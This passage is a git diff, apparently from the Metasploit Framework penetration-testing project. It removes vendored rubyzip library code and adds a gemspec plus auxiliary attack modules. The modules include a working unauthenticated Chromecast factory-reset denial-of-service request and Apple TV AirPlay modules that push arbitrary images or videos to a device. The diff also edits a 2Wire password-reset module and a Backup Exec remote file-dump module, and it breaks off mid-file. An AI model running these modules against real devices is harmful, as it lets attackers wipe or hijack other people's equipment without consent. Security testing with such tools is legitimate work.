merge(binstr) - binstr == "" and return - size, content = initial_parse(binstr) - size or return - @flag, mtime, atime, ctime = content.unpack("CVVV") - mtime and @mtime ||= Time.at(mtime) - atime and @atime ||= Time.at(atime) - ctime and @ctime ||= Time.at(ctime) - end - - def ==(other) - @mtime == other.mtime && - @atime == other.atime && - @ctime == other.ctime - end - - def pack_for_local - s = [@flag].pack("C") - @flag & 1 != 0 and s << [@mtime.to_i].pack("V") - @flag & 2 != 0 and s << [@atime.to_i].pack("V") - @flag & 4 != 0 and s << [@ctime.to_i].pack("V") - s - end - - def pack_for_c_dir - s = [@flag].pack("C") - @flag & 1 == 1 and s << [@mtime.to_i].pack("V") - s - end - end - - # Info-ZIP Extra for UNIX uid/gid - class IUnix < Generic - HEADER_ID = "Ux" - register_map - - def initialize(binstr = nil) - @uid = 0 - @gid = 0 - binstr and merge(binstr) - end - attr_accessor :uid, :gid - - def merge(binstr) - binstr == "" and return - size, content = initial_parse(binstr) - # size: 0 for central direcotry. 4 for local header - return if(! size || size == 0) - uid, gid = content.unpack("vv") - @uid ||= uid - @gid ||= gid - end - - def ==(other) - @uid == other.uid && - @gid == other.gid - end - - def pack_for_local - [@uid, @gid].pack("vv") - end - - def pack_for_c_dir - "" - end - end - - ## start main of ZipExtraField < Hash - def initialize(binstr = nil) - binstr and merge(binstr) - end - - def merge(binstr) - binstr == "" and return - i = 0 - while i < binstr.length - id = binstr[i,2] - len = binstr[i+2,2].to_s.unpack("v")[0] - if id && ID_MAP.member?(id) - field_name = ID_MAP[id].name - if self.member?(field_name) - self[field_name].mergea(binstr[i, len+4]) - else - field_obj = ID_MAP[id].new(binstr[i, len+4]) - self[field_name] = field_obj - end - elsif id - unless self["Unknown"] - s = "" - class << s - alias_method :to_c_dir_bin, :to_s - alias_method :to_local_bin, :to_s - end - self["Unknown"] = s - end - if ! len || len+4 > binstr[i..-1].length - self["Unknown"] << binstr[i..-1] - break; - end - self["Unknown"] << binstr[i, len+4] - end - i += len+4 - end - end - - def create(name) - field_class = nil - ID_MAP.each { |id, klass| - if klass.name == name - field_class = klass - break - end - } - if ! field_class - raise ZipError, "Unknown extra field '#{name}'" - end - self[name] = field_class.new() - end - - def to_local_bin - s = "" - each { |k, v| - s << v.to_local_bin - } - s - end - alias :to_s :to_local_bin - - def to_c_dir_bin - s = "" - each { |k, v| - s << v.to_c_dir_bin - } - s - end - - def c_dir_length - to_c_dir_bin.length - end - def local_length - to_local_bin.length - end - alias :c_dir_size :c_dir_length - alias :local_size :local_length - alias :length :local_length - alias :size :local_length - end # end ZipExtraField - -end # Zip namespace module - - - -# Copyright (C) 2002, 2003 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/zipfilesystem.rb b/lib/zip/zipfilesystem.rb deleted file mode 100644 index 565ce2b3a0..0000000000 --- a/lib/zip/zipfilesystem.rb +++ /dev/null @@ -1,611 +0,0 @@ -# encoding: ASCII-8BIT -require 'zip/zip' - -module Zip - - # The ZipFileSystem API provides an API for accessing entries in - # a zip archive that is similar to ruby's builtin File and Dir - # classes. - # - # Requiring 'zip/zipfilesystem' includes this module in ZipFile - # making the methods in this module available on ZipFile objects. - # - # Using this API the following example creates a new zip file - # my.zip containing a normal entry with the name - # first.txt, a directory entry named mydir - # and finally another normal entry named second.txt - # - # require 'zip/zipfilesystem' - # - # Zip::ZipFile.open("my.zip", Zip::ZipFile::CREATE) { - # |zipfile| - # zipfile.file.open("first.txt", "w") { |f| f.puts "Hello world" } - # zipfile.dir.mkdir("mydir") - # zipfile.file.open("mydir/second.txt", "w") { |f| f.puts "Hello again" } - # } - # - # Reading is as easy as writing, as the following example shows. The - # example writes the contents of first.txt from zip archive - # my.zip to standard out. - # - # require 'zip/zipfilesystem' - # - # Zip::ZipFile.open("my.zip") { - # |zipfile| - # puts zipfile.file.read("first.txt") - # } - - module ZipFileSystem - - def initialize # :nodoc: - mappedZip = ZipFileNameMapper.new(self) - @zipFsDir = ZipFsDir.new(mappedZip) - @zipFsFile = ZipFsFile.new(mappedZip) - @zipFsDir.file = @zipFsFile - @zipFsFile.dir = @zipFsDir - end - - # Returns a ZipFsDir which is much like ruby's builtin Dir (class) - # object, except it works on the ZipFile on which this method is - # invoked - def dir - @zipFsDir - end - - # Returns a ZipFsFile which is much like ruby's builtin File (class) - # object, except it works on the ZipFile on which this method is - # invoked - def file - @zipFsFile - end - - # Instances of this class are normally accessed via the accessor - # ZipFile::file. An instance of ZipFsFile behaves like ruby's - # builtin File (class) object, except it works on ZipFile entries. - # - # The individual methods are not documented due to their - # similarity with the methods in File - class ZipFsFile - - attr_writer :dir -# protected :dir - - class ZipFsStat - def initialize(zipFsFile, entryName) - @zipFsFile = zipFsFile - @entryName = entryName - end - - def forward_invoke(msg) - @zipFsFile.send(msg, @entryName) - end - - def kind_of?(t) - super || t == ::File::Stat - end - - forward_message :forward_invoke, :file?, :directory?, :pipe?, :chardev? - forward_message :forward_invoke, :symlink?, :socket?, :blockdev? - forward_message :forward_invoke, :readable?, :readable_real? - forward_message :forward_invoke, :writable?, :writable_real? - forward_message :forward_invoke, :executable?, :executable_real? - forward_message :forward_invoke, :sticky?, :owned?, :grpowned? - forward_message :forward_invoke, :setuid?, :setgid? - forward_message :forward_invoke, :zero? - forward_message :forward_invoke, :size, :size? - forward_message :forward_invoke, :mtime, :atime, :ctime - - def blocks; nil; end - - def get_entry - @zipFsFile.__send__(:get_entry, @entryName) - end - private :get_entry - - def gid - e = get_entry - if e.extra.member? "IUnix" - e.extra["IUnix"].gid || 0 - else - 0 - end - end - - def uid - e = get_entry - if e.extra.member? "IUnix" - e.extra["IUnix"].uid || 0 - else - 0 - end - end - - def ino; 0; end - - def dev; 0; end - - def rdev; 0; end - - def rdev_major; 0; end - - def rdev_minor; 0; end - - def ftype - if file? - return "file" - elsif directory? - return "directory" - else - raise StandardError, "Unknown file type" - end - end - - def nlink; 1; end - - def blksize; nil; end - - def mode - e = get_entry - if e.fstype == 3 - e.externalFileAttributes >> 16 - else - 33206 # 33206 is equivalent to -rw-rw-rw- - end - end - end - - def initialize(mappedZip) - @mappedZip = mappedZip - end - - def get_entry(fileName) - if ! exists?(fileName) - raise Errno::ENOENT, "No such file or directory - #{fileName}" - end - @mappedZip.find_entry(fileName) - end - private :get_entry - - def unix_mode_cmp(fileName, mode) - begin - e = get_entry(fileName) - e.fstype == 3 && ((e.externalFileAttributes >> 16) & mode ) != 0 - rescue Errno::ENOENT - false - end - end - private :unix_mode_cmp - - def exists?(fileName) - expand_path(fileName) == "/" || @mappedZip.find_entry(fileName) != nil - end - alias :exist? :exists? - - # Permissions not implemented, so if the file exists it is accessible - alias owned? exists? - alias grpowned? exists? - - def readable?(fileName) - unix_mode_cmp(fileName, 0444) - end - alias readable_real? readable? - - def writable?(fileName) - unix_mode_cmp(fileName, 0222) - end - alias writable_real? writable? - - def executable?(fileName) - unix_mode_cmp(fileName, 0111) - end - alias executable_real? executable? - - def setuid?(fileName) - unix_mode_cmp(fileName, 04000) - end - - def setgid?(fileName) - unix_mode_cmp(fileName, 02000) - end - - def sticky?(fileName) - unix_mode_cmp(fileName, 01000) - end - - def umask(*args) - ::File.umask(*args) - end - - def truncate(fileName, len) - raise StandardError, "truncate not supported" - end - - def directory?(fileName) - entry = @mappedZip.find_entry(fileName) - expand_path(fileName) == "/" || (entry != nil && entry.directory?) - end - - def open(fileName, openMode = "r", &block) - openMode.gsub!("b", "") # ignore b option - case openMode - when "r" - @mappedZip.get_input_stream(fileName, &block) - when "w" - @mappedZip.get_output_stream(fileName, &block) - else - raise StandardError, "openmode '#{openMode} not supported" unless openMode == "r" - end - end - - def new(fileName, openMode = "r") - open(fileName, openMode) - end - - def size(fileName) - @mappedZip.get_entry(fileName).size - end - - # Returns nil for not found and nil for directories - def size?(fileName) - entry = @mappedZip.find_entry(fileName) - return (entry == nil || entry.directory?) ? nil : entry.size - end - - def chown(ownerInt, groupInt, *filenames) - filenames.each { |fileName| - e = get_entry(fileName) - unless e.extra.member?("IUnix") - e.extra.create("IUnix") - end - e.extra["IUnix"].uid = ownerInt - e.extra["IUnix"].gid = groupInt - } - filenames.size - end - - def chmod (modeInt, *filenames) - filenames.each { |fileName| - e = get_entry(fileName) - e.fstype = 3 # force convertion filesystem type to unix - e.externalFileAttributes = modeInt << 16 - } - filenames.size - end - - def zero?(fileName) - sz = size(fileName) - sz == nil || sz == 0 - rescue Errno::ENOENT - false - end - - def file?(fileName) - entry = @mappedZip.find_entry(fileName) - entry != nil && entry.file? - end - - def dirname(fileName) - ::File.dirname(fileName) - end - - def basename(fileName) - ::File.basename(fileName) - end - - def split(fileName) - ::File.split(fileName) - end - - def join(*fragments) - ::File.join(*fragments) - end - - def utime(modifiedTime, *fileNames) - fileNames.each { |fileName| - get_entry(fileName).time = modifiedTime - } - end - - def mtime(fileName) - @mappedZip.get_entry(fileName).mtime - end - - def atime(fileName) - e = get_entry(fileName) - if e.extra.member? "UniversalTime" - e.extra["UniversalTime"].atime - else - nil - end - end - - def ctime(fileName) - e = get_entry(fileName) - if e.extra.member? "UniversalTime" - e.extra["UniversalTime"].ctime - else - nil - end - end - - def pipe?(filename) - false - end - - def blockdev?(filename) - false - end - - def chardev?(filename) - false - end - - def symlink?(fileName) - false - end - - def socket?(fileName) - false - end - - def ftype(fileName) - @mappedZip.get_entry(fileName).directory? ? "directory" : "file" - end - - def readlink(fileName) - raise NotImplementedError, "The readlink() function is not implemented" - end - - def symlink(fileName, symlinkName) - raise NotImplementedError, "The symlink() function is not implemented" - end - - def link(fileName, symlinkName) - raise NotImplementedError, "The link() function is not implemented" - end - - def pipe - raise NotImplementedError, "The pipe() function is not implemented" - end - - def stat(fileName) - if ! exists?(fileName) - raise Errno::ENOENT, fileName - end - ZipFsStat.new(self, fileName) - end - - alias lstat stat - - def readlines(fileName) - open(fileName) { |is| is.readlines } - end - - def read(fileName) - @mappedZip.read(fileName) - end - - def popen(*args, &aProc) - File.popen(*args, &aProc) - end - - def foreach(fileName, aSep = $/, &aProc) - open(fileName) { |is| is.each_line(aSep, &aProc) } - end - - def delete(*args) - args.each { - |fileName| - if directory?(fileName) - raise Errno::EISDIR, "Is a directory - \"#{fileName}\"" - end - @mappedZip.remove(fileName) - } - end - - def rename(fileToRename, newName) - @mappedZip.rename(fileToRename, newName) { true } - end - - alias :unlink :delete - - def expand_path(aPath) - @mappedZip.expand_path(aPath) - end - end - - # Instances of this class are normally accessed via the accessor - # ZipFile::dir. An instance of ZipFsDir behaves like ruby's - # builtin Dir (class) object, except it works on ZipFile entries. - # - # The individual methods are not documented due to their - # similarity with the methods in Dir - class ZipFsDir - - def initialize(mappedZip) - @mappedZip = mappedZip - end - - attr_writer :file - - def new(aDirectoryName) - ZipFsDirIterator.new(entries(aDirectoryName)) - end - - def open(aDirectoryName) - dirIt = new(aDirectoryName) - if block_given? - begin - yield(dirIt) - return nil - ensure - dirIt.close - end - end - dirIt - end - - def pwd; @mappedZip.pwd; end - alias getwd pwd - - def chdir(aDirectoryName) - unless @file.stat(aDirectoryName).directory? - raise Errno::EINVAL, "Invalid argument - #{aDirectoryName}" - end - @mappedZip.pwd = @file.expand_path(aDirectoryName) - end - - def entries(aDirectoryName) - entries = [] - foreach(aDirectoryName) { |e| entries << e } - entries - end - - def foreach(aDirectoryName) - unless @file.stat(aDirectoryName).directory? - raise Errno::ENOTDIR, aDirectoryName - end - path = @file.expand_path(aDirectoryName).ensure_end("/") - - subDirEntriesRegex = Regexp.new("^#{path}([^/]+)$") - @mappedZip.each { - |fileName| - match = subDirEntriesRegex.match(fileName) - yield(match[1]) unless match == nil - } - end - - def delete(entryName) - unless @file.stat(entryName).directory? - raise Errno::EINVAL, "Invalid argument - #{entryName}" - end - @mappedZip.remove(entryName) - end - alias rmdir delete - alias unlink delete - - def mkdir(entryName, permissionInt = 0755) - @mappedZip.mkdir(entryName, permissionInt) - end - - def chroot(*args) - raise NotImplementedError, "The chroot() function is not implemented" - end - - end - - class ZipFsDirIterator # :nodoc:all - include Enumerable - - def initialize(arrayOfFileNames) - @fileNames = arrayOfFileNames - @index = 0 - end - - def close - @fileNames = nil - end - - def each(&aProc) - raise IOError, "closed directory" if @fileNames == nil - @fileNames.each(&aProc) - end - - def read - raise IOError, "closed directory" if @fileNames == nil - @fileNames[(@index+=1)-1] - end - - def rewind - raise IOError, "closed directory" if @fileNames == nil - @index = 0 - end - - def seek(anIntegerPosition) - raise IOError, "closed directory" if @fileNames == nil - @index = anIntegerPosition - end - - def tell - raise IOError, "closed directory" if @fileNames == nil - @index - end - end - - # All access to ZipFile from ZipFsFile and ZipFsDir goes through a - # ZipFileNameMapper, which has one responsibility: ensure - class ZipFileNameMapper # :nodoc:all - include Enumerable - - def initialize(zipFile) - @zipFile = zipFile - @pwd = "/" - end - - attr_accessor :pwd - - def find_entry(fileName) - @zipFile.find_entry(expand_to_entry(fileName)) - end - - def get_entry(fileName) - @zipFile.get_entry(expand_to_entry(fileName)) - end - - def get_input_stream(fileName, &aProc) - @zipFile.get_input_stream(expand_to_entry(fileName), &aProc) - end - - def get_output_stream(fileName, &aProc) - @zipFile.get_output_stream(expand_to_entry(fileName), &aProc) - end - - def read(fileName) - @zipFile.read(expand_to_entry(fileName)) - end - - def remove(fileName) - @zipFile.remove(expand_to_entry(fileName)) - end - - def rename(fileName, newName, &continueOnExistsProc) - @zipFile.rename(expand_to_entry(fileName), expand_to_entry(newName), - &continueOnExistsProc) - end - - def mkdir(fileName, permissionInt = 0755) - @zipFile.mkdir(expand_to_entry(fileName), permissionInt) - end - - # Turns entries into strings and adds leading / - # and removes trailing slash on directories - def each - @zipFile.each { - |e| - yield("/"+e.to_s.chomp("/")) - } - end - - def expand_path(aPath) - expanded = aPath.starts_with("/") ? aPath : @pwd.ensure_end("/") + aPath - expanded.gsub!(/\/\.(\/|$)/, "") - expanded.gsub!(/[^\/]+\/\.\.(\/|$)/, "") - expanded.empty? ? "/" : expanded - end - - private - - def expand_to_entry(aPath) - expand_path(aPath).lchop - end - end - end - - class ZipFile - include ZipFileSystem - end -end - -# Copyright (C) 2002, 2003 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/ziprequire.rb b/lib/zip/ziprequire.rb deleted file mode 100644 index a3b1261c20..0000000000 --- a/lib/zip/ziprequire.rb +++ /dev/null @@ -1,90 +0,0 @@ -# With ziprequire you can load ruby modules from a zip file. This means -# ruby's module include path can include zip-files. -# -# The following example creates a zip file with a single entry -# log/simplelog.rb that contains a single function -# simpleLog: -# -# require 'zip/zipfilesystem' -# -# Zip::ZipFile.open("my.zip", true) { -# |zf| -# zf.file.open("log/simplelog.rb", "w") { -# |f| -# f.puts "def simpleLog(v)" -# f.puts ' Kernel.puts "INFO: #{v}"' -# f.puts "end" -# } -# } -# -# To use the ruby module stored in the zip archive simply require -# zip/ziprequire and include the my.zip zip -# file in the module search path. The following command shows one -# way to do this: -# -# ruby -rzip/ziprequire -Imy.zip -e " require 'log/simplelog'; simpleLog 'Hello world' " - -#$: << 'data/rubycode.zip' << 'data/rubycode2.zip' - - -require 'zip/zip' - -class ZipList #:nodoc:all - def initialize(zipFileList) - @zipFileList = zipFileList - end - - def get_input_stream(entry, &aProc) - @zipFileList.each { - |zfName| - Zip::ZipFile.open(zfName) { - |zf| - begin - return zf.get_input_stream(entry, &aProc) - rescue Errno::ENOENT - end - } - } - raise Errno::ENOENT, - "No matching entry found in zip files '#{@zipFileList.join(', ')}' "+ - " for '#{entry}'" - end -end - - -module Kernel #:nodoc:all - alias :oldRequire :require - - def require(moduleName) - zip_require(moduleName) || oldRequire(moduleName) - end - - def zip_require(moduleName) - return false if already_loaded?(moduleName) - get_resource(ensure_rb_extension(moduleName)) { - |zis| - eval(zis.read); $" << moduleName - } - return true - rescue Errno::ENOENT => ex - return false - end - - def get_resource(resourceName, &aProc) - zl = ZipList.new($:.grep(/\.zip$/)) - zl.get_input_stream(resourceName, &aProc) - end - - def already_loaded?(moduleName) - moduleRE = Regexp.new("^"+moduleName+"(\.rb|\.so|\.dll|\.o)?$") - $".detect { |e| e =~ moduleRE } != nil - end - - def ensure_rb_extension(aString) - aString.sub(/(\.rb)?$/i, ".rb") - end -end - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec new file mode 100644 index 0000000000..792efb8921 --- /dev/null +++ b/metasploit-framework.gemspec @@ -0,0 +1,83 @@ +# coding: utf-8 + +# During build, the Gemfile is temporarily moved and +# we must manually define the project root +if ENV['MSF_ROOT'] + lib = File.realpath(File.expand_path('lib', ENV['MSF_ROOT'])) +else + # have to use realpath as metasploit-framework is often loaded through a symlink and tools like Coverage and debuggers + # require realpaths. + lib = File.realpath(File.expand_path('../lib', __FILE__)) +end + +$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) +require 'metasploit/framework/version' + +Gem::Specification.new do |spec| + spec.name = 'metasploit-framework' + spec.version = Metasploit::Framework::GEM_VERSION + spec.authors = ['Metasploit Hackers'] + spec.email = ['metasploit-hackers@lists.sourceforge.net'] + spec.summary = 'metasploit-framework' + spec.description = 'metasploit-framework' + spec.homepage = 'https://www.metasploit.com' + spec.license = 'BSD-3-clause' + + spec.files = `git ls-files`.split($/).reject { |file| + file =~ /^config/ + } + spec.bindir = '.' + spec.executables = [ + 'msfbinscan', + 'msfcli', + 'msfconsole', + 'msfd', + 'msfelfscan', + 'msfencode', + 'msfmachscan', + 'msfpayload', + 'msfpescan', + 'msfrop', + 'msfrpc', + 'msfrpcd', + 'msfupdate', + 'msfvenom' + ] + spec.test_files = spec.files.grep(%r{^spec/}) + spec.require_paths = ["lib"] + + # The Metasploit ecosystem is not ready for Rails 4 as it uses features of Rails 3.X that are removed in Rails 4. + rails_version_constraint = '< 4.0.0' + + # Need 3+ for ActiveSupport::Concern + spec.add_runtime_dependency 'activesupport', '>= 3.0.0', rails_version_constraint + # Needed for config.action_view for view plugin compatibility for Pro + spec.add_runtime_dependency 'actionpack', rails_version_constraint + # Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb) + spec.add_runtime_dependency 'bcrypt' + # Needed for some admin modules (scrutinizer_add_user.rb) + spec.add_runtime_dependency 'json' + # Things that would normally be part of the database model, but which + # are needed when there's no database + spec.add_runtime_dependency 'metasploit-model', '~> 0.26.1' + # Needed for Meterpreter on Windows, soon others. + spec.add_runtime_dependency 'meterpreter_bins', '0.0.7' + # Needed by msfgui and other rpc components + spec.add_runtime_dependency 'msgpack' + # Needed by anemone crawler + spec.add_runtime_dependency 'nokogiri' + # Needed by db.rb and Msf::Exploit::Capture + spec.add_runtime_dependency 'packetfu', '1.1.9' + # Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines + spec.add_runtime_dependency 'railties' + # Needed by JSObfu + spec.add_runtime_dependency 'rkelly-remix', '0.0.6' + # Needed by anemone crawler + spec.add_runtime_dependency 'robots' + # Needed by some modules + spec.add_runtime_dependency 'rubyzip', '~> 1.1' + # Needed for some post modules + spec.add_runtime_dependency 'sqlite3' + # required for Time::TZInfo in ActiveSupport + spec.add_runtime_dependency 'tzinfo' +end diff --git a/modules/auxiliary/admin/2wire/xslt_password_reset.rb b/modules/auxiliary/admin/2wire/xslt_password_reset.rb index 2d37d2d45c..d44d0d6b5f 100644 --- a/modules/auxiliary/admin/2wire/xslt_password_reset.rb +++ b/modules/auxiliary/admin/2wire/xslt_password_reset.rb @@ -130,7 +130,8 @@ class Metasploit3 < Msf::Auxiliary }, 25) if res and res.code == 200 - if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/(.*); path=\//)) + cookies = res.get_cookies + if cookies && cookies.match(/(.*); path=\//) cookie= $1 print_status("Got cookie #{cookie}. Password reset was successful!\n") end diff --git a/modules/auxiliary/admin/appletv/appletv_display_image.rb b/modules/auxiliary/admin/appletv/appletv_display_image.rb new file mode 100644 index 0000000000..5e27020f5f --- /dev/null +++ b/modules/auxiliary/admin/appletv/appletv_display_image.rb @@ -0,0 +1,122 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apple TV Image Remote Control', + 'Description' => %q( + This module will show an image on an AppleTV device for a period of time. + Some AppleTV devices are actually password-protected, in that case please + set the PASSWORD datastore option. For password bruteforcing, please see + the module auxiliary/scanner/http/appletv_login. + ), + 'Author' => + [ + '0a29406d9794e4f9b30b3c5d6702c708', # Original work + 'sinn3r' # You can blame me for mistakes + ], + 'References' => + [ + ['URL', 'http://nto.github.io/AirPlay.html'] + ], + 'DefaultOptions' => { 'USERNAME' => 'AirPlay' }, + 'License' => MSF_LICENSE + )) + + # Make the PASSWORD option more visible and hope the user is more aware of this option + register_options([ + Opt::RPORT(7000), + OptInt.new('TIME', [true, 'Time in seconds to show the image', 10]), + OptPath.new('FILE', [true, 'Image to upload and show']), + OptString.new('PASSWORD', [false, 'The password for AppleTV AirPlay']) + ], self.class) + + # We're not actually using any of these against AppleTV in our Rex HTTP client init, + # so deregister them so we don't overwhelm the user with fake options. + deregister_options( + 'HTTP::uri_encode_mode', 'HTTP::uri_full_url', 'HTTP::pad_method_uri_count', + 'HTTP::pad_uri_version_count', 'HTTP::pad_method_uri_type', 'HTTP::pad_uri_version_type', + 'HTTP::method_random_valid', 'HTTP::method_random_invalid', 'HTTP::method_random_case', + 'HTTP::uri_dir_self_reference', 'HTTP::uri_dir_fake_relative', 'HTTP::uri_use_backslashes', + 'HTTP::pad_fake_headers', 'HTTP::pad_fake_headers_count', 'HTTP::pad_get_params', + 'HTTP::pad_get_params_count', 'HTTP::pad_post_params', 'HTTP::pad_post_params_count', + 'HTTP::uri_fake_end', 'HTTP::uri_fake_params_start', 'HTTP::header_folding', + 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2', 'NTLM::SendLM', 'NTLM::SendNTLM', + 'NTLM::SendSPN', 'NTLM::UseLMKey', 'DOMAIN', 'DigestAuthIIS', 'VHOST' + ) + end + + + # + # Sends an image request to AppleTV. HttpClient isn't used because we actually need to keep + # the connection alive so that the video can keep playing. + # + def send_image_request(opts) + http = nil + + http = Rex::Proto::Http::Client.new( + rhost, + rport.to_i, + { + 'Msf' => framework, + 'MsfExploit' => self + }, + ssl, + ssl_version, + proxies, + datastore['USERNAME'], + datastore['PASSWORD'] + ) + add_socket(http) + + http.set_config('agent' => datastore['UserAgent']) + + req = http.request_raw(opts) + res = http.send_recv(req) + + Rex.sleep(datastore['TIME']) if res.code == 200 + http.close + + res + end + + + def get_image_data + File.open(datastore['FILE'], 'rb') { |f| f.read(f.stat.size) } + end + + + def show_image + image = get_image_data + + opts = { + 'method' => 'PUT', + 'uri' => '/photo', + 'data' => image + } + + res = send_image_request(opts) + + if !res + print_status("The connection timed out") + elsif res.code == 200 + print_status("Received HTTP 200") + else + print_error("The request failed due to an unknown reason") + end + end + + + def run + print_status("Image request sent. Duration set: #{datastore['TIME']} seconds") + show_image + end +end diff --git a/modules/auxiliary/admin/appletv/appletv_display_video.rb b/modules/auxiliary/admin/appletv/appletv_display_video.rb new file mode 100644 index 0000000000..511858f8a8 --- /dev/null +++ b/modules/auxiliary/admin/appletv/appletv_display_video.rb @@ -0,0 +1,157 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'uri' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apple TV Video Remote Control', + 'Description' => %q( + This module plays a video on an AppleTV device. Note that + AppleTV can be somewhat picky about the server that hosts the video. + Tested servers include default IIS, default Apache, and Ruby's WEBrick. + For WEBrick, the default MIME list may need to be updated, depending on + what media file is to be played. Python SimpleHTTPServer is not + recommended. Also, if you're playing a video, the URL must be an IP + address. Some AppleTV devices are actually password-protected; in that + case please set the PASSWORD datastore option. For password + bruteforcing, please see the module auxiliary/scanner/http/appletv_login. + ), + 'Author' => + [ + '0a29406d9794e4f9b30b3c5d6702c708', # Original work + 'sinn3r' # Make myself liable to mistakes since I made significant changes + ], + 'References' => + [ + ['URL', 'http://nto.github.io/AirPlay.html'] + ], + 'DefaultOptions' => { 'USERNAME' => 'AirPlay' }, + 'License' => MSF_LICENSE + )) + + register_options([ + Opt::RPORT(7000), + OptInt.new('TIME', [true, 'Time in seconds to show the video', 60]), + OptString.new('URL', [true, 'URL of video to show. Must use an IP address']), + OptString.new('PASSWORD', [false, 'The password for AppleTV AirPlay']) + ], self.class) + + # We're not actually using any of these against AppleTV in our Rex HTTP client init, + # so deregister them so we don't overwhelm the user with fake options. + deregister_options( + 'HTTP::uri_encode_mode', 'HTTP::uri_full_url', 'HTTP::pad_method_uri_count', + 'HTTP::pad_uri_version_count', 'HTTP::pad_method_uri_type', 'HTTP::pad_uri_version_type', + 'HTTP::method_random_valid', 'HTTP::method_random_invalid', 'HTTP::method_random_case', + 'HTTP::uri_dir_self_reference', 'HTTP::uri_dir_fake_relative', 'HTTP::uri_use_backslashes', + 'HTTP::pad_fake_headers', 'HTTP::pad_fake_headers_count', 'HTTP::pad_get_params', + 'HTTP::pad_get_params_count', 'HTTP::pad_post_params', 'HTTP::pad_post_params_count', + 'HTTP::uri_fake_end', 'HTTP::uri_fake_params_start', 'HTTP::header_folding', + 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2', 'NTLM::SendLM', 'NTLM::SendNTLM', + 'NTLM::SendSPN', 'NTLM::UseLMKey', 'DOMAIN', 'DigestAuthIIS', 'VHOST' + ) + end + + + # + # Sends a video request to AppleTV. HttpClient isn't used because we actually need to keep + # the connection alive so that the video can keep playing. + # + def send_video_request(opts) + http = nil + + http = Rex::Proto::Http::Client.new( + rhost, + rport.to_i, + { + 'Msf' => framework, + 'MsfExploit' => self + }, + ssl, + ssl_version, + proxies, + datastore['USERNAME'], + datastore['PASSWORD'] + ) + add_socket(http) + + http.set_config('agent' => datastore['UserAgent']) + + req = http.request_raw(opts) + res = http.send_recv(req) + Rex.sleep(datastore['TIME']) if res.code == 200 + http.close + + res + end + + + # + # Checks the URI datastore option. AppleTV is sort of picky about the URI. It's better to + # always supply an IP instead of a domain. + # + def validate_source!(uri) + unless Rex::Socket.is_ipv4?(URI(uri).host) # Same trick in target_uri form HttpClient + raise Msf::OptionValidateError.new(['URL']) + end + end + + + # + # Plays a video as a new thread + # + def play_video_uri + uri = datastore['URL'] + validate_source!(uri) + + body = "Content-Location: #{uri}\n" + body << "Start-Position: 0.0\n" + + opts = { + 'method' => 'POST', + 'uri' => '/play', + 'headers' => { + 'Content-Length' => body.length.to_s, + 'Content-Type' => 'text/parameters' + }, + 'data' => body + } + + res = send_video_request(opts) + + if !res + print_status("The connection timed out") + elsif res.code == 200 + print_status("Received HTTP 200") + else + print_error("The request failed due to an unknown reason") + end + end + + + # + # Maybe it's just me not understanding the /stop API correctly, but when I send a request to + # /stop, it doesn't actually do anything. It is sort of possible to stop my video by looking + # through framework.threads.each {|t| puts t[:tm_name]}, and then kill the right thread. But + # if there are multiple appletv_display_video running, we don't seem to have a good way to + # kill the right thread we want. We could kill them all, but we shouldn't do that. So I'll + # just leave this method here, and then we'll think about how to do it later. + # + def stop_play + raise NotImplementedError + end + + + def run + print_status("Video request sent. Duration set: #{datastore['TIME']} seconds") + play_video_uri + end + +end diff --git a/modules/auxiliary/admin/backupexec/dump.rb b/modules/auxiliary/admin/backupexec/dump.rb index dd7f914774..a9444e8062 100644 --- a/modules/auxiliary/admin/backupexec/dump.rb +++ b/modules/auxiliary/admin/backupexec/dump.rb @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary [ true, "The remote filesystem path to download", - "C:\\boot.ini" + "C:\\Windows\\win.ini" ] ), OptString.new('LPATH', diff --git a/modules/auxiliary/admin/chromecast/chromecast_reset.rb b/modules/auxiliary/admin/chromecast/chromecast_reset.rb new file mode 100644 index 0000000000..43d4580fb3 --- /dev/null +++ b/modules/auxiliary/admin/chromecast/chromecast_reset.rb @@ -0,0 +1,58 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Chromecast Factory Reset DoS', + 'Description' => %q{ + This module performs a factory reset on a Chromecast, causing a denial of service (DoS). + No user authentication is required. + }, + 'Author' => ['wvu'], + 'References' => [ + ['URL', 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html'] # vendor website + ], + 'License' => MSF_LICENSE + )) + + register_options([ + Opt::RPORT(8008) + ], self.class) + end + + def run + res = reset + + if res && res.code == 200 + print_good('Factory reset performed') + elsif res + print_error("An error occurred: #{res.code} #{res.message}") + end + end + + def reset + begin + send_request_raw( + 'method' => 'POST', + 'uri' => '/setup/reboot', + 'agent' => Rex::Text.rand_text_english(rand(42) + 1), + 'ctype' => 'application/json', + 'data' => '{"params": "fdr"}' + ) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable => e + fail_with(Failure::Unreachable, e) + ensure + disconnect + end + end + +end diff --git a/modules/auxiliary/admin/chromecast/chromecast_youtube.rb b/modules/auxiliary/admin/chromecast/chromecast_youtube.rb new file mode 100644 index 0000000000..5036ee0b54 --- /dev/null +++ 